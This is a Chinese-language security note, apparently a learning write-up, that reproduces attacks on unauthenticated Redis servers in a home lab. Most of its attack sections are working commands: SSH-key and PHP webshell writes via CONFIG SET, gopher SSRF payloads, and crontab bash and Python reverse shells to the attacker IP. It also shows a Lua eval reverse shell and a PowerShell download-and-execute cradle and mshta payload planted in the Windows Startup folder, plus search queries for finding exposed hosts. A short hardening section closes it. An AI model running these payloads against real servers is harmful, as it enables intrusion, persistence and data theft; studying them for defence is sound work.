owned this note
owned this note
Published
Linked with GitHub
---
tags: 第三方服务安全,Redis
---
# Redis 安全问题
本文由m0nk3y@D0g3编写,若有侵权,联系我删除!
[![hackmd-github-sync-badge](https://hackmd.io/3Rcm9yEeQQuwzbH6_RoeOQ/badge)](https://hackmd.io/3Rcm9yEeQQuwzbH6_RoeOQ)
[TOC]
实战环境下,感觉Redis 未授权非常常见,而我之前只知道怎么利用别人的写好的工具去解CTF,没有去研究过原理,遂在端午节来研究一波!
## Redis 介绍
Redis是一个开源的使用ANSI C语言编写、支持网络、可基于内存亦可持久化的日志型、 Key-Value数据库。和Memcached类似,它支持存储的value 类型相对更多,包括 string(字符串)、list ( 链表)、 set(集合)、zset(sorted set – 有序集合)和 hash(哈希类型)。这些数据类型都支持push/pop 、 add/remove 及取交集并集和差集及更丰富的操作,而且这些操作都是原子性的。在此基础上, redis支持各种不同方式的排序。与 memcached 一样,为了保证效率,数据都是缓存在内存中。区别的是 redis 会周期性的把更新的数据写入磁盘或者把修改操作写入追加的记录文件,并且在此基础上实现了 master-slave ( 主从)同步。
>Redis 下载地址:http://download.redis.io/releases/
## RESP 协议介绍
Redis服务器与客户端通过RESP(REdis Serialization Protocol)协议通信。
RESP协议是在Redis 1.2中引入的,但它成为了与Redis 2.0中的Redis服务器通信的标准方式。这是您应该在Redis客户端中实现的协议。
RESP实际上是一个支持以下数据类型的序列化协议:简单字符串,错误,整数,批量字符串和数组。
RESP在Redis中用作请求 - 响应协议的方式如下:
客户端将命令作为Bulk Strings的RESP数组发送到Redis服务器。
服务器根据命令实现回复一种RESP类型。
在RESP中,某些数据的类型取决于第一个字节:
对于Simple Strings,回复的第一个字节是+
对于error,回复的第一个字节是-
对于Integer,回复的第一个字节是:
对于Bulk Strings,回复的第一个字节是$
对于array,回复的第一个字节是*
此外,RESP能够使用稍后指定的Bulk Strings或Array的特殊变体来表示Null值。
在RESP中,协议的不同部分始终以"\r\n"(CRLF)结束。
https://xz.aliyun.com/t/5665#toc-0
## 漏洞介绍
### 未授权漏洞
Redis 默认情况下,会绑定在 0.0.0.0:6379,,如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,这样将会将 Redis 服务暴露到公网上,如果在没有设置密码认证(一般为空)的情况下(默认配置),会导致任意用户在可以访问目标服务器的情况下未授权访问 Redis 以及读取 Redis 的数据。攻击者在未授权访问 Redis 的情况下,利用 Redis 自身的提供的config 命令,可以进行写文件操作,攻击者可以成功将自己的ssh公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务登录目标服务器。
Redis因配置不当可以导致未授权访问,被攻击者恶意利用。当前流行的针对Redis未授权访问的一种新型攻击方式,在特定条件下,如果Redis以root身份运行,黑客可以给root账户写入SSH公钥文件,直接通过SSH登录受害服务器,可导致服务器权限被获取和数据删除、泄露或加密勒索事件发生,严重危害业务正常服务。 部分服务器上的Redis 绑定在 0.0.0.0:6379,并且没有开启认证(这是Redis 的默认配置),以及该端口可以通过公网直接访问,如果没有采用相关的策略,比如添加防火墙规则避免其他非信任来源 ip 访问等,将会导致 Redis 服务直接暴露在公网上,可能造成其他用户可以直接在非授权情况下直接访问Redis服务并进行相关操作。 目前比较主流的案例:yam2 minerd 挖矿程序,还有在多次应急事件中发现大量的watch-smartd挖矿木马。
简单说,漏洞的产生条件有以下两点:
(1)redis绑定在 0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源 ip 访问等相关安全策略,直接暴露在公网;
(2)没有设置密码认证(一般为空),可以免密码远程登录redis服务。
(3) root 身份运行redis
主流案例图示
主流案例图示
写公钥只是其中一种,还可以写webshell ,crontab 反弹shell,来getshell。
![](https://i.imgur.com/p9JFoqk.png)
以及其他漏洞场景,下面逐一介绍和复现。
### 主从复制 RCE
Redis主从复制介绍
Redis是一个使用ANSI C编写的开源、支持网络、基于内存、可选持久性的键值对存储数据库。但如果当把数据存储在单个Redis的实例中,当读写体量比较大的时候,服务端就很难承受。为了应对这种情况,Redis就提供了主从模式,主从模式就是指使用一个redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。
漏洞出现的背景
随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了
漏洞原理
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。
然后在从机上加载so文件,我们就可以执行拓展的新命令了。
## 漏洞复现
### 复现准备
安装Redis
sudo apt-get update # 更新apt 包
sudo apt-get install redis-server # 安装Redis
service redis-server start # 开启Redis 服务( 经过复现,这种模式下,是以redis身份运行的redis 服务
redis-cli # 进入Redis 命令行模式
复现环境
![](https://i.imgur.com/2VYBQlt.png)
网络环境:NAT
攻击机:Kali Linux:192.168.118.129
靶机:Ubuntu 18.04 :192.168.118.142
Redis 连接命令
redis-cli -h 127.0.0.1 -p 6379
解决Redis 无法远程连接:https://blog.csdn.net/qq_41507845/article/details/80967282
修改redis 配置文件: Ubuntu 在 /etc/redis/redis.conf
#bind 127.0.0.1
redis在开放往外网的情况下(默认配置是bind 127.0.0.1,只允许本地访问,如果配置了其他网卡地址那么就可以网络访问),默认配置下是空口令,端口为6379。
Protected-mode no
redis3.2版本后新增protected-mode配置,默认是yes,即开启。设置外部网络连接redis服务,设置方式如下:
1、关闭protected-mode模式,此时外部网络可以直接访问
2、开启protected-mode保护模式,需配置bind ip或者设置访问密码
### 开始复现
对靶机进行全端口扫描:
![](https://i.imgur.com/OiedL9z.png)
发现对外开启6379 redis 服务。获取redis 详细信息
nmap -A -p 6379 -script redis-info 192.168.118.142
![](https://i.imgur.com/LVfNqbh.png)
尝试远程连接受害者redis 服务。
redis-cli -h 192.168.118.142 -p 6379
成功连上,执行命令ping , 如果回显PONG 则表示远程登录成功。
执行info 命令,在redis 2.8 以后可以看到redis 配置文件的物理路径:
![](https://i.imgur.com/Ks7zBDv.png)
Ubuntu 下为:/etc/redis/redis.conf
CentOs 下为:/etc/redis.conf
场景一:利用redis 写入ssh key 远程登录靶机ssh
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys,把缓冲的数据保存在文件里,这样就可以再服务器端的/root/.ssh下生一个授权的key。
条件:
靶机以root 身份启动redis 服务
redis 认证无密码或者弱口令
服务器开启ssh服务,并允许以密钥登录 ,开启ssh 服务:https://blog.csdn.net/jackghq/article/details/54974141
攻击机:
生成ssh key
ssh-keygen -t rsa
![](https://i.imgur.com/V8qwFVy.png)
这里使用\n\n 前后换行,是为了避免和redis 其他缓存的数据混淆。
将生成的key.txt 写入靶机的缓冲里
cat /root/.ssh/key.txt | redis-cli -h 192.168.118.142 -x set evil_ssh_key
这里出现报错,不知道是不是版本问题还是执行的命令有问题,Google 解决:
https://www.jianshu.com/p/3aaf21dd34d6
原因:强制关闭redis 快照导致不能持久化。
在靶机上redis 执行(所以我感觉这次复现算是失败了,实际环境怎么可能呢,
127.0.0.1:6379> config set stop-writes-on-bgsave-error no
当我正准备写的时候,发现permission denied。原因:靶机redis 不是以root 身份运行,说不定上一个报错,同样也是这个原因。
将permission deied的问题去搜索。发现已有人踩过坑。
https://airycanon.me/jie-jue-redis-de-getshell-yin-qi-de-bgsave-cuo-wu/
![](https://i.imgur.com/o04V2rM.png)
果然,查看进程发现,redis 不是以root 身份登录的。而且上面那个修改为no,只是不报错,问题其实也并没有解决。这里通过以root权限使用配置文件启动redis-server 即可。(原因是高版本redis,默认以redis 身份运行的
1. 设置redis 备份路径为/root/.ssh , 这样可以写入我们的evil_ssh_key
config set dir /root/.ssh # 如果报错,说明靶机没有登录过ssh。执行 ssh localhost 即可
2. 设置保存文件名为 authorized_keys
config set dbfilename authorized_keys
3. 保存,数据写入dir 目录下的 dbfilename 中
save
4. ssh 连接即可getshell
dir: The DB will be written inside this directory, with the filename specified above using the ‘dbfilename’ configuration directive.
dbfilename: The filename where to dump the DB
/etc/redis/redis.conf
![](https://i.imgur.com/NQONHXo.png)
方法二:生成符合RESP 格式的payload ,利用 ssrf(gopher 协议) + curl 打。
这里不做复现。
#### 场景二:利用redis 写入webshell
直接写 webshell
192.168.118.142:6379> config set dir /var/www/html
OK
192.168.118.142:6379> set xxx "\n\n\n<?php @eval($_POST[a];?>\n\n\n"
OK
192.168.118.142:6379> config set dbfilename webshell.php
OK
192.168.118.142:6379> save
OK
192.168.118.142:6379>
使用蚁剑发现无法连接。不过在靶机上确实可以看到文件写入了。
解决Apache 不解析 php :sudo apt-get install libapache2-mod-php7.2
![](https://i.imgur.com/tCHcAkz.png)
直接访问,返回500。可以看到文件内容有点奇怪。试试flushall全部删掉,重新写webshell 。果然,成功连接webshell。
FLUSHALL命令可以清空一个Redis实例中所有数据库中的数据
192.168.118.142:6379> flushall
OK
192.168.118.142:6379> config get dir
1) "dir"
2) "/var/www/html"
192.168.118.142:6379> config set dir /var/www/html/
OK
192.168.118.142:6379> config get dbfilename
1) "dbfilename"
2) "webshell.php"
192.168.118.142:6379> config set dbfilename shell.php
OK
192.168.118.142:6379> set webshell "<?php eval($_POST[a]);?>"
OK
192.168.118.142:6379> save
OK
192.168.118.142:6379>
![](https://i.imgur.com/qApD7Ir.png)
这个成功连上去,是www-data权限。所以没有ssh 直接是root权限(因为ssh利用方式,是root启动redis,root登录ssh。不过问题不大,拿到webshell 了,至少渗透也就成功了一半了。
不过真实渗透不可能让你执行flushall的,数据最重要。
SSRF 写入 WebShell
curl + 下面的payload
gopher://192.168.118.142:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2434%0D%0A%0A%0A%3C%3Fphp%20system%28%24_GET%5B%27cmd%27%5D%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
![](https://i.imgur.com/UDjp6GH.png)
#### 场景三:利用redis 写入crontab 反弹shell
看网上已经复现的师傅的文章,ubuntu 利用定时任务反弹shell 几乎不成,利用python 反弹有时候可以成功。CentOS 可以成功。
![](https://i.imgur.com/P5uZdwM.png)
这里就用yulige 文章中的版本:CentOS 6.7
原理也是利用 未授权通过 CONFIG 和 set 等命令来写定时任务,简单的换了一下物理路径(根据OS的不同,定时任务的文件目录不同)。然后当靶机执行定时任务时,即可反弹shell。
CentOS 定时任务:/var/spool/cron/<username>
Ubuntu 定时任务:/var/spool/cron/crontabs/<username>
bash 反弹
Payload:
payload经过url 编码后,在存在SSRF的漏洞点即可反弹shell。
gopher://<target_ip>:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2464%0D%0A%0A%0A%2A/1%20%2A%20%2A%20%2A%20%2A%20bash%20-c%20%22sh%20-i%20%3E%26%20/dev/tcp/127.0.0.1/1234%200%3E%261%22%0A%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2416%0D%0A/var/spool/cron/%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%244%0D%0Aroot%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
nc -lvp 1234
远程登录了redis,执行一下即可,和写 ssh key 一样。crontab 最小执行单位为1分钟
flushall # 谨慎使用!(本地测试可以,实际渗透可能没这个命令,有也不要用
set reshell "\n\n* * * * * bash -i > & /dev/tcp/192.168.118.129/2333 0>&1\n\n"
config set dirr /var/spool/cron/
config set dbfilename root
save
nc -lvp 2333
python 反弹
\n\n * * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.118.129",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'\n\n
#### 场景四:主从复制RCE
影响版本:Redis 4.x/5.x (<= 5.0.5)
漏洞类型:RCE
利用条件:未授权或者弱口令外网访问redis 服务
攻击思路:来自参考资料。
在两个Redis实例设置主从模式的时候,Redis的主机实例可以通过FULLRESYNC同步文件到从机上。然后在从机上加载so文件,我们就可以执行拓展的新命令了。
![](https://i.imgur.com/cLoUGX3.png)
redis 5.0:
redis 5.0 不允许在脚本中执行命令,即 不能使用CONFIG 命令去设置或者获取数据库的物理路径,但是我们仍然可以猜测dbfilename 。 PPT 作者给出了一种攻击思路:
![](https://i.imgur.com/SeNIJDt.jpg)
redis 通过slaveof 设置主从状态。主从复制的开启,完全是在从节点发起的;不需要我们在主节点做任何事情。
在Reids 4.x之后,Redis新增了模块功能,通过外部拓展,可以实现在redis中实现一个新的Redis命令,通过写c语言并编译出.so文件。
复现过程
启动一个redis 5.0 的镜像
https://www.runoob.com/docker/docker-install-redis.html
![](https://i.imgur.com/rUwcW6f.png)
启动一个Redis Rogue Server
在使用之前,将恶意so 文件下载到.py 文件同目录下。
https://github.com/n0b0dyCN/redis-rogue-server
默认的端口为 6379 默认vps 端口为21000
![](https://i.imgur.com/lWGmVLx.png)
这里我打了几次都是timeout。用kali 确信是可以直接远程连接我的vps 的redis服务的。这里是环境问题(腾讯云),网上也有些师傅没复习成功,后来用vps 复现成功了。
关于主从复制RCE,原理更重要,其实打就是用别人的工具……
#### 场景五:Lua RCE
CVE-2015-4335
影响版本:Redis before 2.8.21 and 3.x before 3.0.2
漏洞危害:远程攻击者可执行eval命令利用该漏洞执行任意Lua字节码
Exploit: https://github.com/QAX-A-Team/redis_lua_exploit/blob/master/redis_lua.py
将147 行的 host 改为目标机器ip。
获取反弹shell。
eval "tonumber('/bin/bash -i >& /dev/tcp/192.168.91.1/2333 0>&1', 8)" 0
#### 场景六:缓冲区溢出 RCE
CVE-2016-8339
受影响的版本 3.2.x - 3.2.4
漏洞类型:数组越界(数组下标越界导致溢出
涉及二进制,参考:https://bestwing.me/Redis-CVE-2016-8339-analysis.html
POC:config set client-output-buffer-limit "master 1094795585 1094795585 1094795585"
## 绕过 ? 截断
以下内容均转载自yulige的博客
转义绕过
写入恶意代码:(<? 等特殊符号需要转义,不然问号后面会导致截断无法写入)
dict://0:6379/set:shell:”\x3C\x3Fphp\x20echo$_GET[x]\x3B\x3F\x3E”
https://mp.weixin.qq.com/s/vCZWTOmBg8k8gAE3yJfedQ
![](https://i.imgur.com/je6ovIe.png)
### 主从复制绕过
http://yulige.top/?p=775#i-17
当?截断的时候可以使用主从复制的方法将key值从主节点复制过来。然后节点再执行备份数据库操作写入webshell。
主节点
127.0.0.1:4444> set shell ""
OK
节点
dict://0:6379/slaveof:127.0.0.1:4444
dict://0:6379/config:set:dir:/var/www/html
dict://0:6379/config:set:dbfilename:shell.php
dict://0:6379/save
dict://0:6379/slaveof:no:one
查看一下文件是成功写入shell了。
当然了如果可以出外网也可以直接主从复制rce,这一点在前面就说过了。只要用python起一个服务去模拟redis的返回,并且在全量复制的时候把数据库文件替换成so文件即可。
bitop 命令绕过
zer0pts CTF 2020 urlapp :https://hackmd.io/@theoldmoon0602/r1mltAWHL
![](https://i.imgur.com/VW73I1v.png)
该命令可将key 进行位运算,取结果进行保存。
bitop 命令的详细文档:https://redis.io/commands/bitop
Available since 2.6.0.
Time complexity: O(N)
Perform a bitwise operation between multiple keys (containing string values) and store the result in the destination key.
The BITOP command supports four bitwise operations: AND, OR, XOR and NOT, thus the valid forms to call the command are:
BITOP AND destkey srckey1 srckey2 srckey3 ... srckeyN
BITOP OR destkey srckey1 srckey2 srckey3 ... srckeyN
BITOP XOR destkey srckey1 srckey2 srckey3 ... srckeyN
BITOP NOT destkey srckey
image-20200627173823931
image-20200627173823931
### setbit 命令绕过
既然想明白关键是?截断的话其实方法也很多,能操作key就可以。这里举出一个command setbit.
https://www.runoob.com/redis/strings-setbit.html
Redis Setbit 命令用于对 key 所储存的字符串值,设置或清除指定偏移量上的位(bit)。
?的ascii是63,ascii62是>,二进制分别是0b00011111和0b00011110。所以按照前面的payload稍微改一下就是.使用setbit改动一位二进制即可把字符变成?,从而可写入webshell。
127.0.0.1:6379> config set dir /var/www/html
OK
127.0.0.1:6379> config set dbfilename shell.php
OK
127.0.0.1:6379> set webshell "<>php @eval($_POST[1]);>>"
OK
127.0.0.1:6379> setbit webshell 191 1
(integer) 0
127.0.0.1:6379> setbit webshell 15 1
(integer) 0
127.0.0.1:6379> save
OK
Windows 下Redis GetShell
## 漏洞修复
我们可以通过 redis 的配置文件设置密码参数,这样客户端连接到 redis 服务就需要密码验证,这样可以让你的 redis 服务更安全。
我们可以通过以下命令查看是否设置了密码验证:
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) ""
默认情况下 requirepass 参数是空的,这就意味着你无需通过密码验证就可以连接到 redis 服务。
你可以通过以下命令来修改该参数:
127.0.0.1:6379> CONFIG set requirepass "runoob"
OK
127.0.0.1:6379> CONFIG get requirepass
1) "requirepass"
2) "runoob"
设置密码后,客户端连接 redis 服务就需要密码验证,否则无法执行命令。
AUTH 命令基本语法格式如下:
127.0.0.1:6379> AUTH password
127.0.0.1:6379> AUTH "runoob"
OK
127.0.0.1:6379> SET mykey "Test value"
OK
127.0.0.1:6379> GET mykey
"Test value"
修改默认配置,设置访问密码为强密码。
port 修改redis使用的默认端口号
bind 设定redis监听的专用IP
requirepass 设定redis连接的密码
rename-command CONFIG “” #禁用CONFIG命令
rename-command info info2 #重命名info为info2
设置防火墙策略,添加访问redis 白名单。
iptables -A input -s x.x.x.x -p tcp --dport 6379 -j ACCEPT
权限最小原则。
以低权限用户启动redis 服务
禁用/重命名高危命令,如config , flushall, eval
redis 不暴露公网 bind 127.0.0.1 , protected-mode yes
修改authorized_keys文件的权限对拥有者只读,其他用户无权限
相关资料
https://blog.csdn.net/qq_41507845/article/details/80967282 解决无法远程连接Redis
https://www.cnblogs.com/linjiqin/p/8608975.html 复习一下docker
https://linuxtools-rst.readthedocs.io/zh_CN/latest/tool/crontab.html Crontab
https://www.cnblogs.com/kismetv/p/9236731.html#t2 Redis 主从复制学习
http://yulige.top/?p=775#_RCE 一篇总结非常好并且全面的Redis 安全博文
[https://www.k0rz3n.com/2019/07/29/%E5%AF%B9%E4%B8%80%E6%AC%A1%20redis%20%E6%9C%AA%E6%8E%88%E6%9D%83%E5%86%99%E5%85%A5%E6%94%BB%E5%87%BB%E7%9A%84%E5%88%86%E6%9E%90%E4%BB%A5%E5%8F%8A%20redis%204.x%20RCE%20%E5%AD%A6%E4%B9%A0/](https://www.k0rz3n.com/2019/07/29/对一次 redis 未授权写入攻击的分析以及 redis 4.x RCE 学习/) 也是一篇超级棒的文章
https://www.freebuf.com/column/158065.html 未授权攻击Redis
https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf 主从复制攻击手法原理pdf
https://paper.seebug.org/975/ 主从复制攻击Redis
https://mntn0x.github.io/2019/08/02/Redis%E5%9F%BA%E4%BA%8E%E4%B8%BB%E4%BB%8E%E5%A4%8D%E7%8E%B0%E7%9A%84RCE%E5%88%A9%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/
https://zhuanlan.zhihu.com/p/113116872
https://joychou.org/web/phpssrf.htmld SSRF
https://www.anquanke.com/post/id/181599 SSRF 认证攻击Redis
https://xz.aliyun.com/t/5665#toc-8 SSRF 攻击redis 的总结
https://lorexxar.cn/2016/12/03/redis-getshell/#centos redis getsell 的一些思考
https://mp.weixin.qq.com/s?__biz=Mzg4OTExMjE2Mw==&mid=2247483746&idx=1&sn=5a2622e492335219440647d9b5453379&chksm=cff1926ef8861b781b9dd8ac3e15f0098a7574791717e4958c6d8bc7ab19669d9d20912e2514&mpshare=1&scene=23&srcid=&sharer_sharetime=1586525848516&sharer_shareid=7e41844e30c25b110ea9dbbf7022e94d#rd 细数redis 的几种getshell 方法
相关工具
Redis + SSRF payload 生成:
https://github.com/tarunkant/Gopherus 支持ReverseShell 和 PHPShell
Redis 口令暴破
https://github.com/evilpacket/redis-sha-crack
Redis Rogue Server
https://github.com/LoRexxar/redis-rogue-server
https://github.com/Dliv3/redis-rogue-server
https://github.com/n0b0dyCN/redis-rogue-server
主从复制加载的恶意so 文件
https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
MSF 下的利用模块
auxiliary/scanner/redis/file_upload normal Redis File Upload
auxiliary/scanner/redis/redis_login normal Redis Login Utility
auxiliary/scanner/redis/redis_server normal Redis Command Execute Scanner
漏洞挖掘
对 port:6379 搜索
https://www.zoomeye.org/searchResult?q=port:6379
Fofa 关键字搜索
port="6379" && protocol==redis && country=CN
对Web 网站的真实ip 进行全端口扫描 / 探测 redis
---
# Windows下Redis 利用思路
学了两天的Cobalt Strike 4.0 的基础使用和术语,继续把之前漏掉的Windows 下利用Redis 学习总结一下。
## 前言
太难了,Windows Server 2008 R2 我这里(VMware Fusion)没法用VMware Tools,Github(图片上github URL打错了) 又不能访问,机器上也没有Github。我是如何把Windows 版的Redis 弄上去的?哈哈(其实后面想了想还有其他办法,不过感觉也有点麻烦。
![](https://i.imgur.com/KRBRvS9.png)
![](https://i.imgur.com/39WhmIK.png)
因为之前复现 MS17-010,CVE-2019-0708,开启了445 和 3389 。我这里用ms17-010 打过去,拿到了system 权限
用Cobalt Strike 生成上线 64 位的exe 可执行文件上线木马
MSF 上传木马并执行
Cobalt Strike 上2008 R2 成功 上线
然后也不能传目录(可以传压缩包,终于懂了为什么有些东西不能传文件夹了),但是相比用msf,这里可视化上传也是很不错了。
![](https://i.imgur.com/HMYcnTZ.png)
![](https://i.imgur.com/A41ZMox.png)
算是第一次同时使用Metasploit 和 Cobalt Strike。
## 环境准备
Redis-Server:Windows Server 2008 R2 x64
Attacker:Kali Linux
网络:NAT
IP:192.168.118.134,192.168.118.129
PhpStudy 2018 搭建 Web 服务,需要相关vc运行库
切换到对应的目录下,redi-server.exe redis.conf 即可启动redis-server 服务。
![](https://i.imgur.com/U6Z4tkr.png)
netstat -ano 查看端口开放情况
![](https://i.imgur.com/UANrinf.png)
可以看到,已经开启了 6379 Redis 服务。
尝试连接一下
![](https://i.imgur.com/n9gYmuj.png)
ping 返回 PONG。成功远程未授权连接上Redis。(相比与Linux下复现,这里我没有修改任何redis.conf的内容,难道是说Windows下默认可以。
## 攻击场景
相比于Linux 下攻击Redis 未授权,Windows 下又有哪些可以利用的?Linux 下可以写入Webshell,Windows 下肯定也行。Linux 下可以写入SSH,导致SSH 远程登录目标机器,而Windows没有。
### 写入Webshell
这种方法最容易想到,也相对来说有点鸡肋,因为必须要知道Windows 下搭建的Web 服务的网站物理路径,才能往里面写webshell,当然也可以猜测,或者专门去收集一些常见的网站物理路径位置。(这次我发现用PHPStudy2018 安装默认存在一个phpinfo.php,以及phpMyadmin)
![](https://i.imgur.com/ydL4RPh.png)
不一会儿,有一个师傅走过来,问我在干嘛,我说在学打Redis…… 他说,你怎么又在打Redis。。。然后就讨论了一下(大概说了有五分钟左右,这里就说下讨论的结论),假设Windows 服务器下的Redis 肯定在内网,6379不出网,然后如果存在SSRF的点,那么用gopher 协议可能可以打一波 SSRF 攻击内网未授权,写入webshell,或者反弹shell啥的。但是,如何打入内网的问题似乎才是利用的关键,而我总结的这些感觉都是已经在内网了或者是拿到了一个未授权的访问了,如果没有SSRF似乎就没有办法了(就单独说从这一台机器。我想到一种,就是RCE修改redis.conf,然后让6379 暴露公网,然后做一个隐藏后门,感觉应该可以这样利用。当然,已经有RCE,那么肯定第一件是就是拿shell了,所以这个思路我觉得只能说是在后面权限持续控制的时候,当作一种思路罢了(感觉具体实现性的话也不是很行。晚上我又想到,可不可以利用信息泄漏,比如说内网ip信息泄漏啥的,来进入内网?其他方法,可以以后有想法了,再来研究研究。
得到物理路径:C:/Users/Administrator/Desktop/PHPTutorial/WWW
然后就和Linux 下写Webshell 差不多了,只是换了一下dir 路径,和换行符的区别,因为Windows 和 Linux 的换行符是不一样的。这里是Windows,所以是\r\n(也是一样,避免和原始数据混淆)
192.168.118.134:6379> config set dir C:/Users/Administrator/Desktop/PHPTutorial/WWW
OK
192.168.118.134:6379> set webshell "\r\n<?php @eval($_POST[a]);?>\r\n"
OK
192.168.118.134:6379> config set dbfilename webshell.php
OK
192.168.118.134:6379> save
OK
![](https://i.imgur.com/AxEyXv7.png)
还发现了,这些操作,似乎都会被记录进redis 日志的。
![](https://i.imgur.com/guAkaO1.png)
当然,使用shell 管理器,比如蚁剑是肯定能连上的。
查看一下webshell.php
Redis 写文件会自动写入一行版本信息。然后再是我们写的东西。
![](https://i.imgur.com/BhlKVPY.png)
说明了之前在学习Linux下利用redis写webshell的时候,其实不用flushall 也可以写webshell的,在新的一个dbfile 里面写入就行了。
### 写入启动项
“用户启动文件夹”和“系统启动文件夹”的区别:
1、两者启动文件夹的路径不一样。用户开机启动文件夹,对应“开始菜单”-“程序”-“启动”功能,路径是:“C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup”;系统启动文件夹对应的路径是:“C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup”。
2、两者起到的功能不一样。举例说明:如果系统有admin和guest两个系统用户,admin使用方法一(用户启动文件夹)添加开机启动项,那么只有使用admin登录系统时,开机启动项才会起作用,guest用户登录系统不会自动启动;而使用方法二(系统启动文件夹)设置的开机启动项,在admin和guest登录系统时都会启动。
写入启动项,大概有三种攻击路线,利用msf,CS,还有一个就是PS_Shell.rb 来上线。
利用Cobalt Strike
当然也可以用 Metasploit。
Attacks -> Web Drive-by -> Scripted Web Delivery,选择Powershell
powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.118.129:80/aaa'))"
然后和写入Webshell 一样的方式,将上面的payload 保存为.bat文件。这里因为payload里面有双引号,所以需要进行转义。
bat(批处理)文件概念:在DOS和Windows 9x 操作系统家族中,批处理文件的文件扩展名为.bat。当运行批处理文件时,通常是cmd.exe,会读取文件中的内容,并逐行运行。
192.168.118.146:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
OK
192.168.118.146:6379> config set dbfilename config.bat
OK
192.168.118.146:6379> set shell_bat "\r\n\r\npowershell.exe -nop -w hidden -c \"IEX ((new-object net.webclient).downloadstring('http://192.168.118.129:80/aaa'))\"\r\n\r\n"
OK
192.168.118.146:6379> save
OK
手动重启靶机。。可以发现主机上线了。(这里我中途去吃饭了,然后回来又看了一下关于SRC相关的东西,所以时间上看起来上线很晚,实际上,等开机之后过一会儿就上线了,可能这取决于目标系统的流畅度
![](https://i.imgur.com/QDxyT31.png)
查看开机启动项
![](https://i.imgur.com/TY3qpOp.png)
确实成功写入,并且执行了。
利用mshta PS_shell
利用的exploit:https://github.com/starnightcyber/CVE-2017-11882/edit/master/PS_shell.rb
在/usr/share/metasploit-framework/modules/exploits/windows下创建一个PS_shell.rb文件,将上面的内容填入进去。进入msfconsole 然后重新载入一下exploit,reload_all。
![](https://i.imgur.com/ugzwH85.png)
然后运行mshta.exe "......" 就可以反弹shell了。
这里就可以利用redis 未授权,写入启动项来运行,从而得到反弹shell。
192.168.118.146:6379> config set dir "C:/Users/Administrator/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup"
OK
192.168.118.146:6379> config set dbfilename backup.bat
OK
192.168.118.146:6379> set backup "\r\n\r\n mshta.exe \"http://192.168.118.129:8080/tql\"\r\n\r\n"
OK
192.168.118.146:6379> save
OK
手动重启目标机器。。不过每次重启之后,还要切换成Administrator账户,才会收到session或者说上线。
![](https://i.imgur.com/ZY8Ae2n.png)
![](https://i.imgur.com/VV6WV5W.png)
关于 mshta.exe的科普:https://baike.baidu.com/item/Mshta.exe/10666591
http://jincheng.xpcha.com/675nabeltqm/
英文全称Microsoft HTML Application,可用于执行.HTA 文件,是微软超文本标记语言应用。
而在之前那个PS_Shell.rb 的源码中,利用的是 CVE-2017-11882,其中有一段注释
This module generates an command to place within a word document, that when executed, will retrieve a HTA payload via HTTP from an web server. Currently have not figured out how to generate a doc.
漏洞分析:https://www.anquanke.com/post/id/87311 漏洞类型:栈溢出漏洞导致内存损坏
### 写入MOF
环境必须为Windows 2003,比较久远的提权方法。这里不复现了,了解一下吧。如果有机会会用到,至少要知道。
mof是windows系统的一个文件(在c:/windows/system32/wbem/mof/nullevt.mof)叫做”托管对象格式”其作用是每隔五秒就会去监控进程创建和死亡。其就是用又了mysql的root权限了以后,然后使用root权限去执行我们上传的mof。隔了一定时间以后这个mof就会被执行,这个mof当中有一段是vbs脚本,这个vbs大多数的是cmd的添加管理员用户的命令。
也就是说在c:/windows/system32/wbem/mof/目录下的mof文件会每5秒自动执行一次,这样就不需要重启机器就能获取权限了。
这种利用方式不用重启目标机器,也不需要获取目标Web的物理路径,只是环境必须是Windows 2003
### DLL 劫持
这种利用方法和下面的快捷方式覆写请参考R3start大佬的文章:http://r3start.net/index.php/2020/05/25/717
### 快捷方式覆写
## 如何防御
## 总结
